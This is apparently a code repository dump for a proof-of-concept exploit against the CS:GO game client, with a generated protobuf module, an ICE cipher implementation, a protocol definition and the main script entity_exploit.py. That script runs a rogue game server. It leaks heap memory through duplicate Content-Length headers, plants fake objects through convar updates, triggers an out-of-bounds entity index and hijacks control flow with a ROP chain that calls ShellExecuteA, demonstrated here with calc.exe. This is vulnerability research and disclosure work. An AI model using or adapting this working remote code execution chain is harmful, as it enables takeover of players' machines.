| number=3, type=13, cpp_type=3, label=1, 55 | has_default_value=False, default_value=0, 56 | message_type=None, enum_type=None, containing_type=None, 57 | is_extension=False, extension_scope=None, 58 | serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), 59 | _descriptor.FieldDescriptor( 60 | name='currentfragment', full_name='CEngineGotvSyncPacket.currentfragment', index=3, 61 | number=4, type=13, cpp_type=3, label=1, 62 | has_default_value=False, default_value=0, 63 | message_type=None, enum_type=None, containing_type=None, 64 | is_extension=False, extension_scope=None, 65 | serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), 66 | _descriptor.FieldDescriptor( 67 | name='tickrate', full_name='CEngineGotvSyncPacket.tickrate', index=4, 68 | number=5, type=2, cpp_type=6, label=1, 69 | has_default_value=False, default_value=float(0), 70 | message_type=None, enum_type=None, containing_type=None, 71 | is_extension=False, extension_scope=None, 72 | serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), 73 | _descriptor.FieldDescriptor( 74 | name='tick', full_name='CEngineGotvSyncPacket.tick', index=5, 75 | number=6, type=13, cpp_type=3, label=1, 76 | has_default_value=False, default_value=0, 77 | message_type=None, enum_type=None, containing_type=None, 78 | is_extension=False, extension_scope=None, 79 | serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), 80 | _descriptor.FieldDescriptor( 81 | name='rtdelay', full_name='CEngineGotvSyncPacket.rtdelay', index=6, 82 | number=8, type=2, cpp_type=6, label=1, 83 | has_default_value=False, default_value=float(0), 84 | message_type=None, enum_type=None, containing_type=None, 85 | is_extension=False, extension_scope=None, 86 | serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), 87 | _descriptor.FieldDescriptor( 88 | name='rcvage', full_name='CEngineGotvSyncPacket.rcvage', index=7, 89 | number=9, type=2, cpp_type=6, label=1, 90 | has_default_value=False, default_value=float(0), 91 | message_type=None, enum_type=None, containing_type=None, 92 | is_extension=False, extension_scope=None, 93 | serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), 94 | _descriptor.FieldDescriptor( 95 | name='keyframe_interval', full_name='CEngineGotvSyncPacket.keyframe_interval', index=8, 96 | number=10, type=2, cpp_type=6, label=1, 97 | has_default_value=False, default_value=float(0), 98 | message_type=None, enum_type=None, containing_type=None, 99 | is_extension=False, extension_scope=None, 100 | serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), 101 | ], 102 | extensions=[ 103 | ], 104 | nested_types=[], 105 | enum_types=[ 106 | ], 107 | serialized_options=None, 108 | is_extendable=False, 109 | syntax='proto2', 110 | extension_ranges=[], 111 | oneofs=[ 112 | ], 113 | serialized_start=62, 114 | serialized_end=265, 115 | ) 116 | 117 | DESCRIPTOR.message_types_by_name['CEngineGotvSyncPacket'] = _CENGINEGOTVSYNCPACKET 118 | _sym_db.RegisterFileDescriptor(DESCRIPTOR) 119 | 120 | CEngineGotvSyncPacket = _reflection.GeneratedProtocolMessageType('CEngineGotvSyncPacket', (_message.Message,), { 121 | 'DESCRIPTOR' : _CENGINEGOTVSYNCPACKET, 122 | '__module__' : 'engine_gcmessages_pb2' 123 | # @@protoc_insertion_point(class_scope:CEngineGotvSyncPacket) 124 | }) 125 | _sym_db.RegisterMessage(CEngineGotvSyncPacket) 126 | 127 | 128 | DESCRIPTOR._options = None 129 | # @@protoc_insertion_point(module_scope) 130 | -------------------------------------------------------------------------------- /pocs/entity_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import struct 5 | import os 6 | import sys 7 | import threading 8 | import time 9 | import binascii 10 | 11 | # Helper functions. 12 | u32 = lambda x: struct.unpack("> 8) & 0xff, 78 | (csgo_version >> 16) & 0xff, 79 | (csgo_version >> 24) & 0xff 80 | ]) 81 | 82 | version_8_12 = bytes([ 83 | (csgo_version >> 2) & 0xff, 84 | (csgo_version >> 10) & 0xff, 85 | (csgo_version >> 18) & 0xff, 86 | (csgo_version >> 26) & 0xff 87 | ]) 88 | 89 | version_12_16 = bytes([ 90 | (csgo_version >> 4) & 0xff, 91 | (csgo_version >> 12) & 0xff, 92 | (csgo_version >> 20) & 0xff, 93 | (csgo_version >> 28) & 0xff 94 | ]) 95 | 96 | return csgo + version_4_8 + version_8_12 + version_12_16 97 | 98 | def int_encoded(val): 99 | ret = b"" 100 | 101 | while val > 0x7f: 102 | ret += bytes([(val & 0x7f) | 0x80]) 103 | val >>= 7 104 | 105 | ret += bytes([val & 0x7f]) 106 | return ret 107 | 108 | # Try to get the local network address, as we need an non-loopback ip for the server. 109 | # this works even if you are currently NOT connected to an 10.0.0.0/8 subnet 110 | def get_local_network_addr(): 111 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 112 | try: 113 | s.connect(("10.255.255.255", 1)) 114 | return s.getsockname()[0] 115 | except Exception as e: 116 | print(f"[-] Failed to get local addr: {e}") 117 | sys.exit(1) 118 | finally: 119 | s.close() 120 | 121 | # Set a ConVar on the target client. 122 | def set_convar(name, value): 123 | payload = nmsg.CNETMsg_SetConVar() 124 | add = payload.convars.cvars.add() 125 | add.name = name 126 | add.value = value 127 | 128 | return payload, 6 129 | 130 | # Returns the CSVCMsg_ServerInfo message with all the necessary server information. 131 | def get_server_info(): 132 | server_info = nmsg.CSVCMsg_ServerInfo() 133 | server_info.protocol = CLIENT_VERSION 134 | server_info.server_count = 1 135 | server_info.is_dedicated = True 136 | server_info.is_official_valve_server = False 137 | server_info.is_hltv = False 138 | server_info.is_replay = False 139 | server_info.is_redirecting_to_proxy_relay = False 140 | server_info.c_os = ord('L') 141 | server_info.max_clients = 10 142 | server_info.player_slot = 1 143 | server_info.tick_interval = 0.007815 144 | 145 | server_info.max_classes = 20 146 | server_info.game_dir = "csgo" 147 | server_info.map_name = "de_dust2" 148 | 149 | return server_info, 8 150 | 151 | # Returns a StringTable message that contains the "downloadables", this is used for the leak. 152 | def get_download_list(filenames): 153 | download_table = nmsg.CSVCMsg_CreateStringTable() 154 | download_table.name = "downloadables" 155 | download_table.max_entries = 8192 156 | download_table.num_entries = len(filenames) 157 | download_table.user_data_size = 0 158 | download_table.user_data_fixed_size = 0 159 | download_table.user_data_size_bits = 0 160 | download_table.flags = 0 161 | 162 | models = [(fn, None) for fn in filenames] 163 | data = bitwriter.BitWriter() 164 | data.write_bit(0) # do not use dictionary encoding 165 | for k, v in models: 166 | data.write_bit(1) # use sequental indexes 167 | data.write_bit(1) # enter if to set pEntry 168 | data.write_bit(0) # don't do substr check 169 | data.write_str(k) 170 | if v is None: 171 | data.write_bit(0) # pUserData 172 | else: 173 | data.write_bit(1) # pUserData 174 | data.write_bits(14, len(v)) 175 | for c in v: 176 | data.write_char(c) 177 | 178 | download_table.string_data = data.finish() 179 | 180 | return download_table, 12 181 | 182 | # Set the model pre-cache this is necessary for the connection. 183 | def get_model_table(): 184 | model_table = nmsg.CSVCMsg_CreateStringTable() 185 | model_table.name = "modelprecache" 186 | model_table.max_entries = 8192 187 | model_table.num_entries = 2 188 | model_table.user_data_size = 0 189 | model_table.user_data_fixed_size = 0 190 | model_table.user_data_size_bits = 0 191 | model_table.flags = 0 192 | 193 | models = [ 194 | ("", None), 195 | ("maps/de_dust2.bsp", None), 196 | ] 197 | data = bitwriter.BitWriter() 198 | data.write_bit(0) # do not use dictionary encoding 199 | for k, v in models: 200 | data.write_bit(1) # use sequental indexes 201 | data.write_bit(1) # enter if to set pEntry 202 | data.write_bit(0) # don't do substr check 203 | data.write_str(k) 204 | if v is None: 205 | data.write_bit(0) # pUserData??? 206 | else: 207 | data.write_bit(1) # pUserData??? 208 | data.write_bits(14, len(v)) 209 | for c in v: 210 | data.write_char(c) 211 | 212 | 213 | model_table.string_data = data.finish() 214 | return model_table, 12 215 | 216 | def get_nop(): 217 | nop = nmsg.CNETMsg_NOP() 218 | return nop, 0 219 | 220 | # Request the file from the client. This is used for the leak. 221 | def get_netmsg_file(filename): 222 | msg = nmsg.CNETMsg_File() 223 | msg.transfer_id = 1 224 | msg.is_replay_demo_file = False 225 | msg.deny = False 226 | msg.file_name = filename 227 | 228 | return msg, 2 229 | 230 | # This requests the Signon state from the client. 231 | def get_signon_state(signonstate): 232 | signon = nmsg.CNETMsg_SignonState() 233 | signon.signon_state = signonstate # SIGNONSTATE_NEW 234 | signon.spawn_count = 1 235 | signon.num_server_players = 0 236 | signon.map_name = "de_dust2" 237 | return signon, 7 238 | 239 | # global connection seq & ack nr 240 | seq_nr = 1 241 | ack_nr = 1 242 | 243 | # This is used to wrap the payload with the necessary encryption and also add a crc checksum. 244 | def prepare_payload(payload, msg_num, to_ack_nr = None, rel_state = 0, serialize = True): 245 | global seq_nr 246 | global ack_nr 247 | 248 | assert(msg_num < 0xff) 249 | if to_ack_nr: 250 | ack_nr = to_ack_nr 251 | 252 | # make it optional to serialize the payload as some exploit steps 253 | # might need to manipulate the serialized payload on a byte level 254 | if serialize: 255 | payload = payload.SerializeToString() 256 | 257 | packet = bytes([rel_state]) 258 | packet += bytes([msg_num]) 259 | packet += int_encoded(len(payload)) 260 | packet += payload 261 | 262 | # crc + other stuff 263 | 264 | payload = packet 265 | packet = (seq_nr).to_bytes(4, byteorder='little') 266 | seq_nr += 1 267 | packet += (ack_nr).to_bytes(4, byteorder='little') 268 | packet += b"\x00" # flags 269 | checksum = binascii.crc32(payload) 270 | packet += p16(((checksum & 0xffff) ^ ((checksum >> 16) & 0xffff)) & 0xffff) 271 | packet += payload 272 | 273 | # ice encryption 274 | 275 | payload = packet 276 | padding = 8 - ((len(payload) + 5) % 8) 277 | packet = bytes([padding]) 278 | packet += b"".join([bytes([33]) for _ in range(0, padding)]) 279 | packet += struct.pack(">I", len(payload)) # big endian for whatever reason ??? 280 | packet += payload 281 | 282 | payload = packet 283 | # ice key must be updated with each new update, the client enforces this, nothing we can do about 284 | crypter = ice.IceKey(2, get_ice_key(CLIENT_VERSION)) 285 | packet = crypter.Encrypt(payload) 286 | payload = packet 287 | 288 | return payload 289 | 290 | # setup http server for file transfer. Needed for memleak 291 | def setup_http_server(port): 292 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 293 | server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 294 | server.bind((get_local_network_addr(), port)) 295 | 296 | server.listen(20) 297 | return server 298 | 299 | # This is basis for the info leak, we serve a file with *two* Content-Length fields, that are differently parsed. 300 | # Which leads the client to read in uninitialized memory into the file, We then request this file back, which discloses 301 | # addresses that we can use to craft our payload. 302 | def serve_infoleak_files(server, heap_chunk_size): 303 | global send_memleak_file 304 | while True: 305 | conn, _ = server.accept() 306 | request = conn.recv(2048).decode('utf-8') 307 | 308 | # print("[!] Got HTTP request!") 309 | # print(f"{request}") 310 | 311 | # send 404 for archived file requests as uninitialized memory most likely 312 | # won't be a valid archive and the file will be deleted 313 | if ".bz2" in request: 314 | print("[*] Sending 404 for bz file") 315 | conn.send( 316 | bytes( 317 | "HTTP/1.1 404 Not Found\r\n", 318 | 'utf-8' 319 | ) 320 | ) 321 | else: 322 | print("[*] Serving file via HTTP...") 323 | conn.send( 324 | bytes( 325 | f"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: {heap_chunk_size}\r\ncontent-length: 0\r\nConnection: closed" 326 | , 'utf-8' 327 | ) 328 | ) 329 | 330 | time.sleep(1) 331 | send_memleak_file += 1 332 | conn.close() 333 | 334 | 335 | # This is used to put some addresses into the uninitialized memory. 336 | def spray_send_table(s, addr, nprops): 337 | table = nmsg.CSVCMsg_SendTable() 338 | table.is_end = False 339 | table.net_table_name = "abctable" 340 | table.needs_decoder = False 341 | 342 | for _ in range(nprops): 343 | prop = table.props.add() 344 | prop.type = 0x1337ee00 345 | prop.var_name = "abc" 346 | prop.flags = 0 347 | prop.priority = 0 348 | prop.dt_name = "whatever" 349 | prop.num_elements = 0 350 | prop.low_value = 0.0 351 | prop.high_value = 0.0 352 | prop.num_bits = 0x00ff00ff 353 | 354 | tosend = prepare_payload(table, 9) 355 | s.sendto(tosend, addr) 356 | 357 | # This triggers the actual entity idx oob access with subsequent control flow hijack. 358 | def trigger_prop_oob(idx): 359 | prop = umsg.CCSUsrMsg_GlowPropTurnOff() 360 | prop.entidx = idx 361 | wrapper = nmsg.CSVCMsg_UserMessage() 362 | wrapper.msg_type = 60 363 | wrapper.msg_data = prop.SerializeToString() 364 | wrapper.passthrough = 0 365 | return wrapper, 23 366 | 367 | # The algorithm for updating a convar seems to be quite simple: 368 | # get the strlen of the new value and if it is bigger ,deallocate the old one 369 | # and copy the new value to the buffer 370 | # if it is smaller, then new value will be copied to the buffer (determined by strlen) 371 | # This means if our object contains 0 bytes, we will do the following: 372 | # Send the full object (without the null bytes) 373 | # Then, send the object but only send everything until the last 0 byte and 374 | # work out way towards the beginning of the object. This works because the algorithm 375 | # does not clear the buffer after each change 376 | def send_fake_object(target, object, addr, last=False): 377 | global s 378 | # find out where all the 0 bytes are at 379 | nullbytes = [i for i in reversed(range(len(object))) if object[i] == 0 ] 380 | 381 | # patch them out of the object to send it all 382 | patched_object = b"ABCD" 383 | for c in object: 384 | if c != 0: 385 | patched_object += bytes([ord('Y')]) 386 | else: 387 | patched_object += bytes([ord('A')]) 388 | 389 | patched_object = patched_object[0:len(patched_object)-4] 390 | convar, msg_num = set_convar(target, patched_object.decode('utf-8')) 391 | # convert the convar to a protobuf packet and then patch the pointer values back in 392 | convar = convar.SerializeToString() 393 | msg_idx = 0 394 | while msg_idx < len(convar) and convar[msg_idx:msg_idx+4] != b"ABCD": 395 | msg_idx += 1 396 | 397 | convar_replaced = convar[0:msg_idx] 398 | for i in range(len(object)): 399 | if object[i] != 0: 400 | convar_replaced += bytes([object[i]]) 401 | else: 402 | convar_replaced += b'A' 403 | 404 | assert(len(convar) == len(convar_replaced)) 405 | to_send = prepare_payload(convar_replaced, msg_num, serialize=False) 406 | s.sendto(to_send, addr) 407 | time.sleep(0.15) 408 | 409 | if len(nullbytes) > 0: 410 | send_fake_object(target, object[0:nullbytes.pop()], addr) 411 | elif last: 412 | return 413 | else: 414 | send_fake_object(target, object, addr, True) 415 | 416 | # Get the address of the array base also from the debugger from the. 417 | # this from the debugger. 418 | def calculate_entity_bug_offset(addr_offset, array_offset): 419 | offset = (addr_offset - array_offset) % (2**32) 420 | return offset // 0x10 421 | 422 | # This will get filled in later. 423 | engine_base = 0 424 | files_received = [] 425 | # packet parser placeholder 426 | pp = None 427 | # socket 428 | s = None 429 | send_memleak_file = 0 430 | heap_chunk_size = 0x20d0 431 | 432 | def main(): 433 | global pp 434 | global s 435 | # start the HTTP server in a seperate thread to start listening in the background 436 | print("[*] Starting HTTP server to serve memleaked files") 437 | server_sock = setup_http_server(8000) 438 | threading.Thread(target=serve_infoleak_files, args=(server_sock, heap_chunk_size)).start() 439 | 440 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 441 | s.bind(("0.0.0.0", 1337)) 442 | print("[+] Listening on 0.0.0.0:1337") 443 | 444 | # Build filenames for the leak. 445 | num = 4 446 | base = f"memleak{int(time.time())}" 447 | ext = "pwn" 448 | filenames = [f"{base}{i}.{ext}" for i in range(num)] 449 | 450 | # What to do with the data that we leak. 451 | def leak_callback(fn, data): 452 | global files_received 453 | global pp 454 | global engine_base 455 | 456 | files_received.append(fn) 457 | pp = packetparser.PacketParser(leak_callback) 458 | 459 | for i in range(len(data) - 0x54): 460 | vtable_ptr = struct.unpack(' 0) 622 | rop = b"" 623 | for i in range(0, len(s), 4): 624 | rop += p32(engine + pop_eax) 625 | rop += p32(to + i) 626 | rop += p32(engine + pop_edx) 627 | rop += s[i:i+4].encode() 628 | rop += p32(engine + mov_peax_edx) 629 | return rop 630 | 631 | 632 | one_shot_gadget = engine + xchg_eax_ecx 633 | # one_shot_gadget = 0x6a6a6a6a 634 | 635 | rop = p32(engine + ret) # +0x04 # first gadget in stack rop, jump to start of real rop 636 | rop += p32(engine + ret) # +0x08 637 | rop += p32(engine + ret) # +0x0c 638 | rop += p32(engine + ret) # +0x10 639 | rop += p32(engine + ret) # +0x14 640 | rop += p32(engine + ret) # +0x18 641 | rop += p32(engine + ret) # +0x1c 642 | rop += p32(engine + ret) # +0x20 643 | rop += p32(engine + ret) # +0x24 644 | rop += p32(engine + ret) # +0x28 645 | rop += p32(engine + ret) # +0x2c 646 | rop += p32(engine + ret) # +0x30 647 | rop += p32(engine + ret) # +0x34 648 | rop += p32(engine + ret) # +0x38 649 | rop += p32(engine + ret) # +0x3c 650 | rop += p32(engine + ret) # +0x40 651 | rop += p32(engine + ret) # +0x44 652 | rop += p32(engine + ret) # +0x48 653 | rop += p32(engine + pop2ret) # +0x4c 654 | rop += bytes([0x01]) # 0x50 655 | rop += p32(engine + xchg_eax_esp) # 0x51 656 | rop += p16(0x0101) # 0x55 657 | rop += bytes([0x01]) # + 0x57 658 | rop += p32(engine + ret) # +0x58 659 | rop += p32(engine + ret) # +0x5c 660 | rop += p32(engine + ret) # +0x60 661 | rop += p32(engine + ret) # +0x64 662 | rop += strcpy("calc.exe", engine + OFFSET_ENGINE_RW_SECTION + 0x50) # simple strcpy 663 | rop += p32(engine + pop_eax) 664 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x20) 665 | rop += p32(engine + pop_edx) 666 | rop += p32(engine + jmp_eax) 667 | rop += p32(engine + mov_peax_edx) 668 | rop += p32(engine + pop_eax) 669 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x24) 670 | rop += p32(engine + pop_edx) 671 | rop += p32(engine + OFFSET_SLEEP) 672 | rop += p32(engine + mov_peax_edx) 673 | 674 | rop += p32(engine + xor_edx_edx) 675 | rop += p32(engine + pop_eax) 676 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x28) 677 | rop += p32(engine + mov_peax_edx) 678 | rop += p32(engine + pop_eax) 679 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x2c) 680 | rop += p32(engine + mov_peax_edx) 681 | rop += p32(engine + pop_eax) 682 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x30) 683 | rop += p32(engine + mov_peax_edx) 684 | rop += p32(engine + pop_eax) 685 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x34) 686 | rop += p32(engine + mov_peax_edx) 687 | rop += p32(engine + pop_eax) 688 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x38) 689 | rop += p32(engine + mov_peax_edx) 690 | rop += p32(engine + pop_eax) 691 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x3c) 692 | rop += p32(engine + inc_edx) 693 | rop += p32(engine + mov_peax_edx) 694 | 695 | rop += p32(engine + pop_eax) 696 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x40) 697 | rop += p32(engine + pop_edx) 698 | rop += p32(0x41414141) 699 | rop += p32(engine + mov_peax_edx) 700 | 701 | rop += p32(engine + pop_edx) 702 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x50) 703 | rop += p32(engine + pop_eax) 704 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x30) 705 | rop += p32(engine + mov_peax_edx) 706 | 707 | rop += p32(engine + pop_eax) 708 | rop += p32(engine + OFFSET_SHELLEXECUTE_A) # shellexecute 709 | 710 | rop += p32(engine + pop_ebx) 711 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x1c) 712 | rop += p32(engine + mov_esp_ebx) 713 | 714 | print(f"[*] Sending sv_autobunnyhopping convar") 715 | send_fake_object( 716 | "sv_autobunnyhopping", 717 | struct.pack(' int: 42 | res = 0 43 | while b: 44 | if b & 1: 45 | res ^= a 46 | a <<= 1 47 | b >>= 1 48 | if a >= 256: 49 | a ^= m 50 | return res 51 | ''' 52 | Galois Field exponentiation. 53 | Raise the base to the power of 7, modulo m. 54 | ''' 55 | def gf_exp7(self, b:int, m:int) -> int: 56 | if b == 0: 57 | return 0 58 | x = self.gf_mult(b, b, m) 59 | x = self.gf_mult(b, x, m) 60 | x = self.gf_mult(x, x, m) 61 | return self.gf_mult(b, x, m) 62 | ''' 63 | Carry out the ICE 32-bit P-box permutation. 64 | ''' 65 | def perm32(self, x:int) -> int: 66 | res = 0 67 | i = 0 68 | while x: 69 | if (x & 1): 70 | res |= self.__rPBOX[i % len(self.__rPBOX)] 71 | i += 1 72 | x >>= 1 73 | return res 74 | ''' 75 | Create a new ICE object. 76 | ''' 77 | def __init__(self, n:int, key:bytes): 78 | if self.__rSBOX_INITIALISED != True: 79 | self.__rSBOX.clear() 80 | for i in range(0, 4): 81 | self.__rSBOX[i] = dict() 82 | for l in range(0, 1024): 83 | self.__rSBOX[i][l] = 0x00 84 | for i in range(0, 1024): 85 | col = (i >> 1) & 0xFF 86 | row = (i & 0x1) | ((i & 0x200) >> 8) 87 | self.__rSBOX[0][i] = self.perm32(self.gf_exp7(col ^ self.__rXOR[0][row], self.__rMOD[0][row]) << 24) 88 | self.__rSBOX[1][i] = self.perm32(self.gf_exp7(col ^ self.__rXOR[1][row], self.__rMOD[1][row]) << 16) 89 | self.__rSBOX[2][i] = self.perm32(self.gf_exp7(col ^ self.__rXOR[2][row], self.__rMOD[2][row]) << 8) 90 | self.__rSBOX[3][i] = self.perm32(self.gf_exp7(col ^ self.__rXOR[3][row], self.__rMOD[3][row])) 91 | self.__rSBOX_INITIALISED = True 92 | if n < 1: 93 | self.__rSIZE = 1 94 | self.__rROUNDS = 8 95 | else: 96 | self.__rSIZE = n 97 | self.__rROUNDS = n * 16 98 | for i in range(0, self.__rROUNDS): 99 | self.__rKEY_SCHEDULE[i] = dict() 100 | for j in range(0, 4): 101 | self.__rKEY_SCHEDULE[i][j] = 0x00 102 | if self.__rROUNDS == 8: 103 | kb = [ 0x00 ] * 4 104 | for i in range(0, 4): 105 | kb[3 - i] = (key[i * 2] << 8) | key[i * 2 + 1] 106 | for i in range(0, 8): 107 | kr = self.__rKEYROT[i] 108 | isk = self.__rKEY_SCHEDULE[i] 109 | for j in range(0, 15): 110 | for k in range(0, 4): 111 | bit = kb[(kr + k) & 3] & 1 112 | isk[j % 3] = (isk[j % 3] << 1) | bit 113 | kb[(kr + k) & 3] = (kb[(kr + k) & 3] >> 1) | ((bit ^ 1) << 15) 114 | for i in range(0, self.__rSIZE): 115 | kb = [ 0x00 ] * 4 116 | for j in range(0, 4): 117 | kb[3 - j] = (key[i * 8 + j * 2] << 8) | key[i * 8 + j * 2 + 1] 118 | for l in range(0, 8): 119 | kr = self.__rKEYROT[l] 120 | isk = self.__rKEY_SCHEDULE[((i * 8) + l) % len(self.__rKEY_SCHEDULE)] 121 | for j in range(0, 15): 122 | for k in range(0, 4): 123 | bit = kb[(kr + k) & 3] & 1 124 | isk[j % 3] = (isk[j % 3] << 1) | bit 125 | kb[(kr + k) & 3] = (kb[(kr + k) & 3] >> 1) | ((bit ^ 1) << 15) 126 | for l in range(0, 8): 127 | kr = self.__rKEYROT[8 + l] 128 | isk = self.__rKEY_SCHEDULE[((self.__rROUNDS - 8 - i * 8) + l) % len(self.__rKEY_SCHEDULE)] 129 | for j in range(0, 15): 130 | for k in range(0, 4): 131 | bit = kb[(kr + k) & 3] & 1 132 | isk[j % 3] = (isk[j % 3] << 1) | bit 133 | kb[(kr + k) & 3] = (kb[(kr + k) & 3] >> 1) | ((bit ^ 1) << 15) 134 | ''' 135 | The single round ICE f function. 136 | ''' 137 | def _ice_f(self, p:int, sk:int) -> int: 138 | tl = ((p >> 16) & 0x3FF) | (((p >> 14) | (p << 18)) & 0xFFC00) 139 | tr = (p & 0x3FF) | ((p << 2) & 0xFFC00) 140 | al = sk[2] & (tl ^ tr) 141 | ar = al ^ tr 142 | al ^= tl 143 | al ^= sk[0] 144 | ar ^= sk[1] 145 | if (al >> 10) > 0x400: 146 | print("========================") 147 | print(f"al = {al}, would crash without fix") 148 | print("========================") 149 | return self.__rSBOX[0][(al >> 10) & 0x3FF] | self.__rSBOX[1][al & 0x3FF] | self.__rSBOX[2][(ar >> 10) & 0x3ff] | self.__rSBOX[3][ar & 0x3FF] 150 | ''' 151 | Return the key size, in bytes. 152 | ''' 153 | def KeySize(self) -> int: 154 | return self.__rSIZE * 8 155 | ''' 156 | Return the block size, in bytes. 157 | ''' 158 | def BlockSize(self) -> int: 159 | return 8 160 | ''' 161 | Encrypt a block of 8 bytes of data with the given ICE key. 162 | ''' 163 | def EncryptBlock(self, data:list) -> list: 164 | out = [ 0x00 ] * 8 165 | l = 0 166 | r = 0 167 | for i in range(0, 4): 168 | l |= (data[i] & 0xFF) << (24 - i * 8) 169 | r |= (data[i + 4] & 0xFF) << (24 - i * 8) 170 | for i in range(0, self.__rROUNDS, 2): 171 | l ^= self._ice_f(r, self.__rKEY_SCHEDULE[i]) 172 | r ^= self._ice_f(l, self.__rKEY_SCHEDULE[i + 1]) 173 | for i in range(0, 4): 174 | out[3 - i] = r & 0xFF 175 | out[7 - i] = l & 0xFF 176 | r >>= 8 177 | l >>= 8 178 | return out 179 | ''' 180 | Decrypt a block of 8 bytes of data with the given ICE key. 181 | ''' 182 | def DecryptBlock(self, data:list) -> list: 183 | out = [ 0x00 ] * 8 184 | l = 0 185 | r = 0 186 | for i in range(0, 4): 187 | l |= (data[i] & 0xFF) << (24 - i * 8) 188 | r |= (data[i + 4] & 0xFF) << (24 - i * 8) 189 | for i in range(self.__rROUNDS - 1, 0, -2): 190 | l ^= self._ice_f(r, self.__rKEY_SCHEDULE[i]) 191 | r ^= self._ice_f(l, self.__rKEY_SCHEDULE[i - 1]) 192 | for i in range(0, 4): 193 | out[3 - i] = r & 0xFF 194 | out[7 - i] = l & 0xFF 195 | r >>= 8 196 | l >>= 8 197 | return out 198 | ''' 199 | Encrypt the data byte array with the given ICE key. 200 | ''' 201 | def Encrypt(self, data:bytes) -> bytes: 202 | out = [] 203 | blocksize = self.BlockSize() 204 | bytesleft = len(data) 205 | i = 0 206 | while bytesleft >= blocksize: 207 | out.extend(self.EncryptBlock(data[i:i + blocksize])) 208 | bytesleft -= blocksize 209 | i += blocksize 210 | if bytesleft > 0: 211 | out.extend(data[len(data)-bytesleft:len(data)]) 212 | return bytes(out) 213 | ''' 214 | Decrypt the data byte array with the given ICE key. 215 | ''' 216 | def Decrypt(self, data:bytes) -> bytes: 217 | out = [] 218 | blocksize = self.BlockSize() 219 | bytesleft = len(data) 220 | i = 0 221 | while bytesleft >= blocksize: 222 | out.extend(self.DecryptBlock(data[i:i + blocksize])) 223 | bytesleft -= blocksize 224 | i += blocksize 225 | if bytesleft > 0: 226 | out.extend(data[len(data)-bytesleft:len(data)]) 227 | return bytes(out) 228 | 229 | -------------------------------------------------------------------------------- /pocs/netmessages.proto: -------------------------------------------------------------------------------- 1 | import "google/protobuf/descriptor.proto"; 2 | 3 | option cc_generic_services = false; 4 | 5 | enum NET_Messages { 6 | net_NOP = 0; 7 | net_Disconnect = 1; 8 | net_File = 2; 9 | net_SplitScreenUser = 3; 10 | net_Tick = 4; 11 | net_StringCmd = 5; 12 | net_SetConVar = 6; 13 | net_SignonState = 7; 14 | net_PlayerAvatarData = 100; 15 | } 16 | 17 | enum CLC_Messages { 18 | clc_ClientInfo = 8; 19 | clc_Move = 9; 20 | clc_VoiceData = 10; 21 | clc_BaselineAck = 11; 22 | clc_ListenEvents = 12; 23 | clc_RespondCvarValue = 13; 24 | clc_FileCRCCheck = 14; 25 | clc_LoadingProgress = 15; 26 | clc_SplitPlayerConnect = 16; 27 | clc_ClientMessage = 17; 28 | clc_CmdKeyValues = 18; 29 | clc_HltvReplay = 20; 30 | } 31 | 32 | enum VoiceDataFormat_t { 33 | VOICEDATA_FORMAT_STEAM = 0; 34 | VOICEDATA_FORMAT_ENGINE = 1; 35 | } 36 | 37 | enum ESplitScreenMessageType { 38 | option allow_alias = true; 39 | MSG_SPLITSCREEN_ADDUSER = 0; 40 | MSG_SPLITSCREEN_REMOVEUSER = 1; 41 | MSG_SPLITSCREEN_TYPE_BITS = 1; 42 | } 43 | 44 | enum SVC_Messages { 45 | svc_ServerInfo = 8; 46 | svc_SendTable = 9; 47 | svc_ClassInfo = 10; 48 | svc_SetPause = 11; 49 | svc_CreateStringTable = 12; 50 | svc_UpdateStringTable = 13; 51 | svc_VoiceInit = 14; 52 | svc_VoiceData = 15; 53 | svc_Print = 16; 54 | svc_Sounds = 17; 55 | svc_SetView = 18; 56 | svc_FixAngle = 19; 57 | svc_CrosshairAngle = 20; 58 | svc_BSPDecal = 21; 59 | svc_SplitScreen = 22; 60 | svc_UserMessage = 23; 61 | svc_EntityMessage = 24; 62 | svc_GameEvent = 25; 63 | svc_PacketEntities = 26; 64 | svc_TempEntities = 27; 65 | svc_Prefetch = 28; 66 | svc_Menu = 29; 67 | svc_GameEventList = 30; 68 | svc_GetCvarValue = 31; 69 | svc_PaintmapData = 33; 70 | svc_CmdKeyValues = 34; 71 | svc_EncryptedData = 35; 72 | svc_HltvReplay = 36; 73 | svc_Broadcast_Command = 38; 74 | } 75 | 76 | enum ReplayEventType_t { 77 | REPLAY_EVENT_CANCEL = 0; 78 | REPLAY_EVENT_DEATH = 1; 79 | REPLAY_EVENT_GENERIC = 2; 80 | REPLAY_EVENT_STUCK_NEED_FULL_UPDATE = 3; 81 | } 82 | 83 | message CMsgVector { 84 | optional float x = 1; 85 | optional float y = 2; 86 | optional float z = 3; 87 | } 88 | 89 | message CMsgVector2D { 90 | optional float x = 1; 91 | optional float y = 2; 92 | } 93 | 94 | message CMsgQAngle { 95 | optional float x = 1; 96 | optional float y = 2; 97 | optional float z = 3; 98 | } 99 | 100 | message CMsgRGBA { 101 | optional int32 r = 1; 102 | optional int32 g = 2; 103 | optional int32 b = 